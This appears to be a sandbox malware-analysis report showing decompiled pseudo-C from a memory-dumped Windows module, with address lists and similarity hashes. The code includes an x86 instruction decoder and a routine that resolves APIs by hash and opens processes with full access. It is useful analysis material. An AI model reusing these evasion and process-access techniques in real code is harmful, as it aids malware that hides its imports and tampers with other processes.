				if(_t427[5] != 0 && ( *_t427 &  *(( *(_t427[6] + _t427[4] + 0x130) & 0x000000ff) + _t427[3] + _t427[4] + 0x130) & 0x000000ff) != 0) {
					_t343 = _t343 | 0x00003000;
					 *(_t427[0x10] + 0x18) = _t343;
				}
				if((_t427[1] & 0x00000001) == 0) {
					if(( *_t427 & 0x00000020) != 0) {
						_t343 = _t343 | 0x00009000;
						 *(_t427[0x10] + 0x18) = _t343;
					}
					goto L114;
				} else {
					_t355 = _t427[0x10];
					_t343 = _t343 | 0x00000001;
					 *(_t355 + 0x18) = _t343;
					_t296 =  *_t274 & 0x000000ff;
					_t346 =  &(_t427[6]);
					 *_t346 = _t296;
					 *(_t355 + 8) = _t296;
					_t297 = _t296 >> 6;
					_t427[3] = _t297;
					 *(_t355 + 9) = _t297;
					_t299 =  *_t346 & 0x00000007;
					_t427[7] = _t299;
					 *(_t355 + 0xb) = _t299;
					_t301 =  *_t346 & 0x0000003f;
					 *_t346 = _t301;
					_t302 = _t301 >> 3;
					_t427[2] = _t302;
					 *(_t355 + 0xa) = _t302;
					if(_t395 != 0 && (_t395 << _t302 & 0x00000080) != 0) {
						_t343 = _t343 | 0x00003000;
						 *(_t427[0x10] + 0x18) = _t343;
					}
					if(_t427[5] == 0) {
						_t80 = _t250 - 0xd9; // -217
						if(_t80 <= 6) {
							_t81 = _t250 + 0x27; // 0x27
							_t417 = _t81 & 0x000000ff;
							if(_t427[3] != 3) {
								_t419 = ( *(_t417 + _t427[4] + 0xf1) & 0x000000ff) << _t427[2];
							} else {
								_t419 = ( *(_t427[4] + _t427[2] + 0xf8 + _t417 * 8) & 0x000000ff) << _t427[7];
							}
							if((_t419 & 0x00000080) != 0) {
								_t343 = _t343 | 0x00003000;
								 *(_t427[0x10] + 0x18) = _t343;
							}
						}
					}
					if(( *_t427 & 0x00000020) == 0) {
						L52:
						if(_t427[5] == 0) {
							if(_t250 == 0x8c) {
								L85:
								if(_t427[2] <= 5) {
									L87:
									_t427[5] = _t274[0];
									_t427[4] =  &(_t274[1]);
									if(_t427[2] <= 1) {
										if(_t250 != 0xf6) {
											_t309 = _t427[1];
											_t310 =  ==  ? _t309 | 0xffffff90 : _t309;
											_t427[1] =  ==  ? _t309 | 0xffffff90 : _t309;
										} else {
											_t427[1] = _t427[1] | 0xffffff82;
										}
									}
									if(_t427[3] == 0) {
										if(( *_t427 & 0x00000010) == 0) {
											_t264 = 4;
											_t357 =  ==  ? _t264 : 0;
										} else {
											_t273 = 2;
											_t357 =  ==  ? _t273 : 0;
										}
									} else {
										if(_t427[3] == 1) {
											_t357 = 1;
										} else {
											if(_t427[3] == 2) {
												_t357 = (( !( *_t427) & 0x00000010) >> 3) + 2;
											} else {
												_t357 = 0;
											}
										}
									}
									if(_t427[3] != 3 && _t427[7] == 4 && ( *_t427 & 0x00000010) == 0) {
										_t307 = _t427[5];
										_t343 = _t343 | 0x00000002;
										_t403 = _t427[0x10];
										_t427[4] =  &(_t274[1]);
										 *(_t403 + 0xc) = _t307;
										_t308 = _t307 & 0x00000007;
										 *(_t403 + 0x18) = _t343;
										 *(_t403 + 0xd) = _t307 >> 6;
										 *(_t403 + 0xe) = (_t307 & 0x0000003f) >> 3;
										 *(_t403 + 0xf) = _t308;
										if(_t308 == 5) {
											_t272 = 4;
											_t357 =  ==  ? _t272 : _t357;
										}
									}
									if(_t357 == 1) {
										_t304 = _t427[0x10];
										_t343 = _t343 | 0x00000020;
										 *(_t304 + 0x18) = _t343;
										 *((char*)(_t304 + 0x14)) =  *(_t427[4] - 1);
									} else {
										if(_t357 == 2) {
											_t277 = _t427[0x10];
											_t343 = _t343 | 0x00000040;
											 *(_t277 + 0x18) = _t343;
											 *((short*)(_t277 + 0x14)) =  *(_t427[4] - 1) & 0x0000ffff;
										} else {
											if(_t357 == 4) {
												_t278 = _t427[0x10];
												_t343 = _t343 | 0x00000080;
												 *(_t278 + 0x18) = _t343;
												 *(_t278 + 0x14) =  *(_t427[4] - 1);
											}
										}
									}
									_t195 = _t427[4] - 1; // -1
									_t274 = _t357 + _t195;
									L114:
									_t251 = _t427[1];
									_t292 = _t251 & 0x00000040;
									if((_t251 & 0x00000010) == 0) {
										L121:
										if((_t427[1] & 0x00000004) == 0) {
											L129:
											if((_t427[1] & 0x00000002) != 0) {
												_t396 = _t427[0x10];
												_t343 = _t343 | 0x00000004;
												 *(_t396 + 0x18) = _t343;
												_t257 =  *_t274;
												_t274 =  &(_t274[0]);
												 *((char*)(_t396 + 0x10)) = _t257;
											}
											if(_t292 == 0) {
												if((_t427[1] & 0x00000020) != 0) {
													_t293 = _t427[0x10];
													_t343 = _t343 | 0x00000104;
													 *(_t293 + 0x18) = _t343;
													_t255 =  *_t274;
													_t274 =  &(_t274[0]);
													 *((char*)(_t293 + 0x10)) = _t255;
												}
												goto L135;
											} else {
												L132:
												_t294 = _t427[0x10];
												_t343 = _t343 | 0x00000110;
												 *(_t294 + 0x18) = _t343;
												_t256 =  *_t274;
												_t274 =  &(_t274[2]);
												 *(_t294 + 0x10) = _t256;
												L135:
												_t275 = _t274 - _t427[0xf];
												if(_t275 <= 0xf) {
													 *(_t427[0x10]) = _t275;
												} else {
													_t254 = _t427[0x10];
													_t275 = 0xf;
													_t254[0x18] = _t343 | 0x00005000;
													 *_t254 = _t275;
												}
												return _t275 & 0x000000ff;
											}
										}
										if((_t343 & 0x00000010) == 0) {
											if((_t343 & 0x00000008) == 0) {
												_t397 = _t427[0x10];
												_t343 = _t343 | 0x00000008;
												 *(_t397 + 0x18) = _t343;
												 *((short*)(_t397 + 0x10)) =  *_t274 & 0x0000ffff;
												L128:
												_t274 =  &(_t274[1]);
												goto L129;
											}
											_t398 = _t427[0x10];
											_t343 = _t343 | 0x00000800;
											L126:
											 *(_t398 + 0x18) = _t343;
											 *((short*)(_t398 + 0x14)) =  *_t274 & 0x0000ffff;
											goto L128;
										}
										_t398 = _t427[0x10];
										_t343 = _t343 | 0x00000008;
										goto L126;
									}
									if(_t292 == 0) {
										if(( *_t427 & 0x00000008) == 0) {
											_t399 = _t427[0x10];
											_t343 = _t343 | 0x00000010;
											 *(_t399 + 0x18) = _t343;
											_t260 =  *_t274;
											_t274 =  &(_t274[2]);
											 *(_t399 + 0x10) = _t260;
										} else {
											_t400 = _t427[0x10];
											_t343 = _t343 | 0x00000008;
											 *(_t400 + 0x18) = _t343;
											_t261 =  *_t274 & 0x0000ffff;
											_t274 =  &(_t274[1]);
											 *(_t400 + 0x10) = _t261;
										}
										goto L121;
									}
									if(( *_t427 & 0x00000008) == 0) {
										goto L132;
									}
									_t295 = _t427[0x10];
									_t343 = _t343 | 0x00000108;
									 *(_t295 + 0x18) = _t343;
									_t262 =  *_t274 & 0x0000ffff;
									_t274 =  &(_t274[1]);
									 *(_t295 + 0x10) = _t262;
									goto L135;
								}
								L86:
								_t343 = _t343 | 0x00011000;
								 *(_t427[0x10] + 0x18) = _t343;
								goto L87;
							}
							if(_t250 != 0x8e) {
								L66:
								if(_t427[3] != 3) {
									if(_t427[5] == 0) {
										goto L87;
									}
									if(_t250 == 0xd7 || _t250 == 0xf7) {
										L83:
										if(( *_t427 & 0x00000009) != 0) {
											goto L86;
										}
									} else {
										if(_t250 == 0xd6) {
											if(( *_t427 & 0x00000006) != 0) {
												goto L86;
											}
											goto L87;
										}
										if(_t250 == 0xc5) {
											goto L86;
										}
										if(_t250 == 0x50) {
											goto L83;
										}
									}
									goto L87;
								}
								_t364 = _t427[4];
								_t312 = _t364 + 0x1da;
								_t366 =  !=  ? _t312 : _t364 + 0x1cb;
								_t313 =  !=  ? _t427[9] + _t364 : _t312;
								_t427[4] = _t366;
								if(_t366 == _t313) {
									goto L87;
								} else {
									goto L68;
								}
								while(1) {
									L68:
									_t408 = _t427[4];
									if(_t250 ==  *_t408) {
										break;
									}
									_t411 = _t408 + 3;
									_t427[4] = _t411;
									if(_t411 != _t313) {
										continue;
									}
									goto L87;
								}
								_t314 = _t408;
								if(( *_t427 &  *(_t314 + 1) & 0x000000ff) == 0) {
									goto L87;
								}
								if((( *(_t314 + 2) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
									goto L86;
								}
								goto L87;
							}
							if(_t427[2] == 1) {
								goto L86;
							}
							goto L85;
						}
						if(_t250 == 0x20 || _t250 == 0x22) {
							_t316 = 3;
							_t427[3] = _t316;
							if(_t427[2] > 4 || _t427[2] == 1) {
								goto L86;
							} else {
								goto L87;
							}
						} else {
							if(_t250 == 0x21 || _t250 == 0x23) {
								_t319 = 3;
								_t427[3] = _t319;
								if((_t427[6] & 0xfffffff0) == 0x20) {
									goto L86;
								}
								goto L87;
							} else {
								goto L66;
							}
						}
					}
					if(_t427[3] == 3) {
						L51:
						_t343 = _t343 | 0x00009000;
						 *(_t427[0x10] + 0x18) = _t343;
						goto L52;
					}
					_t412 = _t427[4];
					_t321 = _t250;
					_t427[8] = _t412 + 0x1b9;
					if(_t427[5] == 0) {
						_t413 = _t412 + 0x1a1;
						_t321 = _t250 & 0x000000fe;
					} else {
						_t413 = _t427[8];
						_t427[8] = _t412 + 0x1cb;
					}
					while(_t413 != _t427[8]) {
						if(_t321 ==  *_t413) {
							if((( *(_t413 + 1) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
								goto L52;
							}
							goto L51;
						}
						_t413 = _t413 + 2;
					}
					goto L51;
				}
			}

0x6f3f92e3
0x6f3f92e7
0x6f3f92f3
0x6f3f92f7
0x6f3f92fb
0x6f3f9300
0x6f3f9303
0x6f3f9305
0x6f3f9307
0x6f3f9307
0x6f3f930a
0x6f3f9310
0x6f3f9388
0x6f3f938c
0x6f3f938f
0x6f3f938f
0x6f3f9392
0x00000000
0x6f3f9392
0x6f3f9317
0x6f3f937f
0x6f3f9383
0x00000000
0x6f3f9383
0x6f3f931e
0x6f3f9377
0x6f3f937a
0x00000000
0x6f3f937a
0x6f3f9323
0x6f3f9361
0x6f3f9368
0x6f3f936b
0x6f3f9334
0x6f3f9334
0x6f3f933a
0x00000000
0x00000000
0x6f3f933f
0x6f3f9359
0x6f3f935c
0x00000000
0x6f3f935c
0x6f3f9344
0x00000000
0x6f3f9346
0x6f3f934a
0x6f3f934d
0x00000000
0x6f3f934d
0x6f3f9344
0x6f3f9395
0x6f3f9395
0x6f3f9395
0x6f3f939e
0x6f3f93a7
0x6f3f93aa
0x6f3f93ad
0x6f3f93b0
0x6f3f93b3
0x6f3f93b9
0x6f3f93fb
0x6f3f93fe
0x6f3f93ff
0x6f3f9406
0x6f3f9409
0x6f3f93bb
0x6f3f93bf
0x6f3f93c9
0x6f3f93d0
0x6f3f93d2
0x6f3f93eb
0x6f3f93ee
0x6f3f93ee
0x6f3f93d0
0x6f3f9411
0x6f3f9414
0x6f3f9417
0x6f3f941b
0x6f3f941f
0x6f3f9429
0x6f3f942d
0x6f3f9437
0x6f3f9440
0x6f3f944d
0x6f3f9450
0x6f3f9453
0x6f3f9453
0x6f3f945f
0x6f3f946a
0x6f3f9470
0x6f3f9474
0x6f3f9461
0x6f3f9461
0x6f3f9461
0x6f3f947c
0x6f3f94a6
0x6f3f94ac
0x6f3f94ac
0x6f3f94b4
0x6f3f985d
0x6f3f9863
0x6f3f9869
0x6f3f9869
0x00000000
0x6f3f94ba
0x6f3f94ba
0x6f3f94be
0x6f3f94c1
0x6f3f94c4
0x6f3f94c7
0x6f3f94cb
0x6f3f94cd
0x6f3f94d0
0x6f3f94d3
0x6f3f94d7
0x6f3f94dc
0x6f3f94df
0x6f3f94e3
0x6f3f94e8
0x6f3f94eb
0x6f3f94ed
0x6f3f94f0
0x6f3f94f4
0x6f3f94f9
0x6f3f9509
0x6f3f950f
0x6f3f950f
0x6f3f9517
0x6f3f9519
0x6f3f9522
0x6f3f9524
0x6f3f9527
0x6f3f9532
0x6f3f955f
0x6f3f9534
0x6f3f954b
0x6f3f954b
0x6f3f9567
0x6f3f956d
0x6f3f9573
0x6f3f9573
0x6f3f9567
0x6f3f9522
0x6f3f957a
0x6f3f95eb
0x6f3f95f0
0x6f3f9649
0x6f3f970b
0x6f3f9710
0x6f3f971f
0x6f3f9725
0x6f3f9729
0x6f3f9732
0x6f3f9739
0x6f3f9742
0x6f3f9750
0x6f3f9753
0x6f3f973b
0x6f3f973b
0x6f3f973b
0x6f3f9739
0x6f3f975c
0x6f3f9789
0x6f3f979c
0x6f3f97a4
0x6f3f978b
0x6f3f978d
0x6f3f9795
0x6f3f9795
0x6f3f975e
0x6f3f9763
0x6f3f9782
0x6f3f9765
0x6f3f976a
0x6f3f977b
0x6f3f976c
0x6f3f976c
0x6f3f976c
0x6f3f976a
0x6f3f9763
0x6f3f97ac
0x6f3f97bb
0x6f3f97c8
0x6f3f97d1
0x6f3f97d5
0x6f3f97d9
0x6f3f97dc
0x6f3f97df
0x6f3f97e2
0x6f3f97e5
0x6f3f97e8
0x6f3f97ee
0x6f3f97f2
0x6f3f97f8
0x6f3f97f8
0x6f3f97ee
0x6f3f97fe
0x6f3f983b
0x6f3f983f
0x6f3f9846
0x6f3f984c
0x6f3f9800
0x6f3f9803
0x6f3f9823
0x6f3f9827
0x6f3f982e
0x6f3f9835
0x6f3f9805
0x6f3f9808
0x6f3f980a
0x6f3f980e
0x6f3f9818
0x6f3f981e
0x6f3f981e
0x6f3f9808
0x6f3f9803
0x6f3f9853
0x6f3f9853
0x6f3f986c
0x6f3f986c
0x6f3f9872
0x6f3f9877
0x6f3f98d1
0x6f3f98d6
0x6f3f9915
0x6f3f991a
0x6f3f991c
0x6f3f9920
0x6f3f9923
0x6f3f9926
0x6f3f9928
0x6f3f9929
0x6f3f9929
0x6f3f992e
0x6f3f994c
0x6f3f994e
0x6f3f9952
0x6f3f9958
0x6f3f995b
0x6f3f995d
0x6f3f995e
0x6f3f995e
0x00000000
0x6f3f9930
0x6f3f9930
0x6f3f9930
0x6f3f9934
0x6f3f993a
0x6f3f993d
0x6f3f993f
0x6f3f9942
0x6f3f9961
0x6f3f9961
0x6f3f9968
0x6f3f9982
0x6f3f996a
0x6f3f996a
0x6f3f9976
0x6f3f9977
0x6f3f997a
0x6f3f997a
0x6f3f9990
0x6f3f9990
0x6f3f992e
0x6f3f98db
0x6f3f98e9
0x6f3f9901
0x6f3f9905
0x6f3f9908
0x6f3f990e
0x6f3f9912
0x6f3f9912
0x00000000
0x6f3f9912
0x6f3f98eb
0x6f3f98ef
0x6f3f98f5
0x6f3f98f5
0x6f3f98fb
0x00000000
0x6f3f98fb
0x6f3f98dd
0x6f3f98e1
0x00000000
0x6f3f98e1
0x6f3f987b
0x6f3f98a7
0x6f3f98bf
0x6f3f98c3
0x6f3f98c6
0x6f3f98c9
0x6f3f98cb
0x6f3f98ce
0x6f3f98a9
0x6f3f98a9
0x6f3f98ad
0x6f3f98b0
0x6f3f98b3
0x6f3f98b6
0x6f3f98b9
0x6f3f98b9
0x00000000
0x6f3f98a7
0x6f3f9881
0x00000000
0x00000000
0x6f3f9887
0x6f3f988b
0x6f3f9891
0x6f3f9894
0x6f3f9897
0x6f3f989a
0x00000000
0x6f3f989a
0x6f3f9712
0x6f3f9716
0x6f3f971c
0x00000000
0x6f3f971c
0x6f3f9654
0x6f3f9666
0x6f3f966b
0x6f3f96d6
0x00000000
0x00000000
0x6f3f96dd
0x6f3f9703
0x6f3f9707
0x00000000
0x00000000
0x6f3f96e6
0x6f3f96eb
0x6f3f96ff
0x00000000
0x00000000
0x00000000
0x6f3f9701
0x6f3f96f2
0x00000000
0x00000000
0x6f3f96f7
0x00000000
0x00000000
0x6f3f96f9
0x00000000
0x6f3f96dd
0x6f3f966d
0x6f3f9677
0x6f3f9688
0x6f3f968b
0x6f3f968e
0x6f3f9694
0x00000000
0x00000000
0x00000000
0x00000000
0x6f3f969a
0x6f3f969a
0x6f3f969a
0x6f3f96a1
0x00000000
0x00000000
0x6f3f96a3
0x6f3f96a6
0x6f3f96ac
0x00000000
0x00000000
0x00000000
0x6f3f96ae
0x6f3f96b0
0x6f3f96b9
0x00000000
0x00000000
0x6f3f96cd
0x00000000
0x00000000
0x00000000
0x6f3f96cf
0x6f3f965b
0x00000000
0x00000000
0x00000000
0x6f3f9661
0x6f3f95f5
0x6f3f9624
0x6f3f9625
0x6f3f962e
0x00000000
0x6f3f963f
0x00000000
0x6f3f963f
0x6f3f95fc
0x6f3f95ff
0x6f3f9612
0x6f3f9613
0x6f3f9617
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f3f95ff
0x6f3f95f5
0x6f3f9581
0x6f3f95de
0x6f3f95e2
0x6f3f95e8
0x00000000
0x6f3f95e8
0x6f3f9583
0x6f3f9587
0x6f3f9594
0x6f3f9598
0x6f3f95ae
0x6f3f95b6
0x6f3f959a
0x6f3f959c
0x6f3f95a6
0x6f3f95a6
0x6f3f95bc
0x6f3f95c5
0x6f3f95dc
0x00000000
0x00000000
0x00000000
0x6f3f95dc
0x6f3f95c7
0x6f3f95c7
0x00000000
0x6f3f95bc

Strings

, xrefs: 6F3F9947

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 4da791d23ea9081e4bcc915a4a84c989f5d97c3cf0c4cd625fbeb535d07cbc76
Instruction ID: 5c92260929bb160aa4610a01b9d6271442ed5b97a1ac077a06002a06232a2730
Opcode Fuzzy Hash: 4da791d23ea9081e4bcc915a4a84c989f5d97c3cf0c4cd625fbeb535d07cbc76
Instruction Fuzzy Hash: 8222933040F395CBD715CF15C89136ABBE1BF95304F00896EE9E54B299D336E98ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 6F3E84E4, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6F3E84E4(signed int __ecx, intOrPtr __edx) {
				void* __esi;
				void* __ebp;
				signed int* _t173;
				signed int _t178;
				void* _t180;
				void* _t181;
				intOrPtr* _t188;
				signed int _t202;
				intOrPtr* _t211;
				intOrPtr* _t212;
				intOrPtr* _t217;
				signed int _t218;
				void* _t219;
				void* _t220;
				void* _t237;
				void* _t238;
				signed int* _t246;
				void* _t247;
				signed int* _t258;
				intOrPtr* _t269;
				signed int* _t277;
				intOrPtr* _t279;
				void* _t283;
				void* _t285;
				void* _t287;
				signed int _t296;
				void* _t299;
				signed int* _t308;
				intOrPtr* _t310;
				signed int _t316;
				intOrPtr _t318;
				signed int* _t324;
				signed int _t325;
				signed int _t326;
				void* _t345;
				void* _t416;
				signed int _t417;
				signed int _t424;
				signed int _t432;
				intOrPtr* _t433;
				intOrPtr* _t434;
				signed int _t437;
				signed int _t441;
				signed int _t445;
				signed int _t446;
				signed int _t447;
				signed int _t450;
				void* _t451;
				signed int _t452;
				void* _t453;
				signed int _t454;
				void* _t457;
				intOrPtr* _t458;

				_push(_t435);
				_t458 = _t457 - 0xa4;
				 *_t458 = __ecx + 0x1c;
				 *((intOrPtr*)(_t458 + 0x68)) = __edx;
				 *(_t458 + 4) = __ecx;
				 *(_t458 + 0x84) = 0;
				 *((intOrPtr*)(_t458 + 0x78)) = __ecx + 4;
				while(1) {
					_t415 =  *(_t458 + 0x6c);
					E6F3EB714(_t458 + 0x24,  *(_t458 + 0x6c), 0x7fffffff);
					if(E6F3EF56C(_t458 + 0x24) == 0) {
						goto L3;
					} else {
						 *( *(_t458 + 4) + 0x2c) = 0;
						E6F3EF6F0(_t458 + 0x24);
					}
					L60:
					_t318 = 0xffffffffffffffff;
					L62:
					if(_t318 != 0) {
						L65:
						return _t318;
					} else {
						if( *(_t458 + 0x84) != 0x20) {
							E6F3F218C(0x5dc, _t415, _t435);
							 *(_t458 + 0x84) =  *(_t458 + 0x84) + 1;
							continue;
						} else {
							_t318 = 0xffffffffffffffff;
							goto L65;
						}
					}
					L71:
					L3:
					__eflags =  *( *(_t458 + 4));
					if( *( *(_t458 + 4)) > 0) {
						_t326 = 0;
						__eflags = 0;
						do {
							 *(_t458 + 0x64) = _t326 * 4;
							_t434 = E6F3EF558( *(_t458 + 0x7c), _t326 * 4);
							_t435 =  *(_t458 + 0x20);
							__eflags = _t435;
							if(_t435 <= 0) {
								L11:
								_t435 =  *(_t458 + 4) + 4;
								_t283 = E6F3EF568( *(_t458 + 4) + 4);
								__eflags = _t283 -  *(_t458 + 0x64);
								if(_t283 >  *(_t458 + 0x64)) {
									_t451 = 4 + _t326 * 4;
									_t299 = E6F3EF568(_t435);
									__eflags = _t299 - _t451;
									if(_t299 > _t451) {
										 *((intOrPtr*)(_t458 + 0x9c)) = E6F3EF558(_t435,  *(_t458 + 0x64));
										 *((intOrPtr*)(_t458 + 0x98)) = E6F3EF558(_t435, _t451);
										E6F3F382C( *((intOrPtr*)(_t458 + 0xa4)),  *((intOrPtr*)(_t458 + 0x9c)), E6F3EF568(_t435) - _t451);
										_t458 = _t458 + 0xc;
									}
									E6F3EF8C4(_t435, E6F3EF568(_t435) + 0xfffffffc);
									_t308 =  *(_t458 + 4);
									 *_t308 =  *_t308 - 1;
									__eflags =  *_t308;
								}
								_t450 = E6F3F2F8C(0xa5eabdf8, 0x2c2324e8);
								__eflags = _t450;
								if(_t450 != 0) {
									 *_t450( *(E6F3EF558( *(_t458 + 4),  *(_t458 + 0x64))));
								}
								_t285 = E6F3EF568( *_t458);
								__eflags = _t285 -  *(_t458 + 0x64);
								if(_t285 >  *(_t458 + 0x64)) {
									_t453 = 4 + _t326 * 4;
									_t287 = E6F3EF568( *_t458);
									__eflags = _t287 - _t453;
									if(_t287 > _t453) {
										_t435 = E6F3EF558( *(_t458 + 4),  *(_t458 + 0x64));
										 *((intOrPtr*)(_t458 + 0xa0)) = E6F3EF558( *(_t458 + 4), _t453);
										E6F3F382C(_t288,  *((intOrPtr*)(_t458 + 0xa4)), E6F3EF568( *_t458) - _t453);
										_t458 = _t458 + 0xc;
									}
									E6F3EF8C4( *(_t458 + 4), E6F3EF568( *_t458) + 0xfffffffc);
									_t296 =  *(_t458 + 4);
									_t33 = _t296 + 0x18;
									 *_t33 =  *(_t296 + 0x18) - 1;
									__eflags =  *_t33;
								}
								_t326 = _t326 - 1;
								__eflags = _t326;
							} else {
								_t452 = 0;
								__eflags = 0;
								while(1) {
									_t310 = E6F3EF558(_t458 + 0x28, _t452 * 4);
									__eflags =  *_t310 -  *_t434;
									if( *_t310 ==  *_t434) {
										break;
									}
									_t452 = _t452 + 1;
									__eflags = _t452 - _t435;
									if(_t452 < _t435) {
										continue;
									} else {
										goto L11;
									}
									goto L20;
								}
								__eflags = _t452 - 0xffffffff;
								if(_t452 == 0xffffffff) {
									goto L11;
								} else {
								}
							}
							L20:
							_t326 = _t326 + 1;
							__eflags = _t326 -  *( *(_t458 + 4));
						} while (_t326 <  *( *(_t458 + 4)));
					}
					__eflags =  *(_t458 + 0x20);
					if( *(_t458 + 0x20) > 0) {
						_t325 = 0;
						__eflags = 0;
						do {
							 *(_t458 + 0x7c) = _t325 * 4;
							_t433 = E6F3EF558(_t458 + 0x28, _t325 * 4);
							_t258 =  *(_t458 + 4);
							_t435 =  *_t258;
							__eflags = _t435;
							if(_t435 <= 0) {
								L29:
								_t445 = E6F3F2F8C(0x4bcc7cba, 0x997e6547);
								__eflags = _t445;
								if(_t445 != 0) {
									_t447 =  *_t445(0x1fffff, 0,  *((intOrPtr*)(E6F3EF558(_t458 + 0x28,  *(_t458 + 0x7c)))));
									__eflags = _t447;
									if(_t447 != 0) {
										E6F3EF8C4( *(_t458 + 4), E6F3EF568( *_t458) + 4);
										 *(E6F3EF558( *(_t458 + 4), E6F3EF568( *_t458) + 0xfffffffc)) = _t447;
										 *((intOrPtr*)( *((intOrPtr*)(_t458 + 0x28 - 0x20)) + 0x18)) =  *((intOrPtr*)( *((intOrPtr*)(_t458 + 0x28 - 0x20)) + 0x18)) + 1;
										_t269 = E6F3EF558(_t458 + 0x28,  *(_t458 + 0x7c));
										 *((intOrPtr*)(_t458 + 0x70)) =  *(_t458 + 4) + 4;
										E6F3EF8C4( *((intOrPtr*)(_t458 + 0x74)), E6F3EF568( *(_t458 + 4) + 4) + 4);
										 *((intOrPtr*)(E6F3EF558( *((intOrPtr*)(_t458 + 0x74)), E6F3EF568( *((intOrPtr*)(_t458 + 0x70))) + 0xfffffffc))) =  *_t269;
										_t277 =  *(_t458 + 4);
										 *_t277 =  *_t277 + 1;
										__eflags =  *_t277;
									}
								}
							} else {
								_t446 = 0;
								__eflags = 0;
								 *(_t458 + 0x88) =  &(_t258[1]);
								while(1) {
									_t279 = E6F3EF558( *((intOrPtr*)(_t458 + 0x8c)), _t446 * 4);
									__eflags =  *_t279 -  *_t433;
									if( *_t279 ==  *_t433) {
										break;
									}
									_t446 = _t446 + 1;
									__eflags = _t446 - _t435;
									if(_t446 < _t435) {
										continue;
									} else {
										goto L29;
									}
									goto L32;
								}
								__eflags = _t446 - 0xffffffff;
								if(_t446 == 0xffffffff) {
									goto L29;
								} else {
								}
							}
							L32:
							_t325 = _t325 + 1;
							__eflags = _t325 -  *(_t458 + 0x20);
						} while (_t325 <  *(_t458 + 0x20));
					}
					E6F3EF6F0(_t458 + 0x24);
					_t173 =  *(_t458 + 4);
					__eflags = _t173[0xb];
					if(_t173[0xb] != 0) {
						_t432 =  *_t173;
						__eflags = _t432;
						if(_t432 > 0) {
							_t435 = 0;
							__eflags = 0;
							_t324 =  &(_t173[1]);
							while(1) {
								_t441 = _t435 * 4;
								_t217 = E6F3EF558(_t324, _t441);
								_t218 =  *(_t458 + 4);
								__eflags =  *_t217 -  *((intOrPtr*)(_t218 + 0x30));
								if( *_t217 ==  *((intOrPtr*)(_t218 + 0x30))) {
									break;
								}
								_t435 = _t435 + 1;
								__eflags = _t435 - _t432;
								if(_t435 < _t432) {
									continue;
								}
								goto L46;
							}
							__eflags = _t435 - 0xffffffff;
							if(_t435 != 0xffffffff) {
								_t219 = E6F3EF568( *_t458);
								__eflags = _t219 - _t441;
								if(_t219 > _t441) {
									 *((intOrPtr*)(_t458 + 0x74)) = 4 + _t435 * 4;
									_t247 = E6F3EF568( *_t458);
									__eflags = _t247 -  *((intOrPtr*)(_t458 + 0x74));
									if(_t247 >  *((intOrPtr*)(_t458 + 0x74))) {
										 *((intOrPtr*)(_t458 + 0x90)) = E6F3EF558( *(_t458 + 4), _t441);
										 *((intOrPtr*)(_t458 + 0x8c)) = E6F3EF558( *(_t458 + 4),  *((intOrPtr*)(_t458 + 0x74)));
										E6F3F382C( *((intOrPtr*)(_t458 + 0x98)),  *((intOrPtr*)(_t458 + 0x90)), E6F3EF568( *_t458) -  *((intOrPtr*)(_t458 + 0x74)));
										_t458 = _t458 + 0xc;
									}
									E6F3EF8C4( *(_t458 + 4), E6F3EF568( *_t458) + 0xfffffffc);
									_t424 =  *(_t458 + 4);
									_t75 = _t424 + 0x18;
									 *_t75 =  *(_t424 + 0x18) - 1;
									__eflags =  *_t75;
								}
								_t220 = E6F3EF568(_t324);
								__eflags = _t220 - _t441;
								if(_t220 > _t441) {
									_t435 = 4 + _t435 * 4;
									_t237 = E6F3EF568(_t324);
									__eflags = _t237 - _t435;
									if(_t237 > _t435) {
										_t238 = E6F3EF558(_t324, _t441);
										 *((intOrPtr*)(_t458 + 0x94)) = E6F3EF558(_t324, _t435);
										E6F3F382C(_t238,  *((intOrPtr*)(_t458 + 0x98)), E6F3EF568(_t324) - _t435);
										_t458 = _t458 + 0xc;
									}
									E6F3EF8C4(_t324, E6F3EF568(_t324) + 0xfffffffc);
									_t246 =  *(_t458 + 4);
									 *_t246 =  *_t246 - 1;
									__eflags =  *_t246;
								}
								E6F3EF8C4( *(_t458 + 4), E6F3EF568( *_t458) + 4);
								 *(E6F3EF558( *(_t458 + 4), E6F3EF568( *_t458) + 0xfffffffc)) =  *( *(_t458 + 4) + 0x2c);
								 *((intOrPtr*)( *(_t458 + 4) + 0x18)) =  *((intOrPtr*)( *(_t458 + 4) + 0x18)) + 1;
								E6F3EF8C4(_t324, E6F3EF568(_t324) + 4);
								 *((intOrPtr*)(E6F3EF558(_t324, E6F3EF568(_t324) + 0xfffffffc))) =  *((intOrPtr*)( *(_t458 + 4) + 0x30));
								 *( *(_t458 + 4)) =  *( *(_t458 + 4)) + 1;
							}
						}
					}
					L46:
					 *((intOrPtr*)(_t458 + 8)) = 0;
					 *((intOrPtr*)(_t458 + 0xc)) = 0;
					E6F3EF620(_t458 + 0x14, 0);
					 *((intOrPtr*)(_t458 + 0x34)) =  *((intOrPtr*)(_t458 + 0x68));
					 *((intOrPtr*)(_t458 + 0x38)) = 0;
					E6F3EF620(_t458 + 0x40, 0);
					_t178 =  *(_t458 + 4);
					_t416 = 0x40;
					__eflags =  *((intOrPtr*)(_t178 + 0x18)) - 0x40;
					_t417 =  <  ?  *((void*)(_t178 + 0x18)) : _t416;
					 *(_t458 + 0x80) = _t417;
					__eflags = _t417;
					if(_t417 <= 0) {
						L57:
						_t415 = E6F3EF558(_t458 + 0x14, 0);
						_t180 = E6F3F2878( *((intOrPtr*)(_t458 + 0xc)), _t179, 0x3e8);
						_t132 = _t180 - 0x80; // -128
						_t181 = _t132;
						__eflags = _t181 - 0x3f;
						_t316 =  <=  ? _t181 : _t180;
						__eflags = _t316 - 0x102;
						if(_t316 == 0x102) {
							goto L59;
						} else {
							__eflags = _t316 - 0x3f;
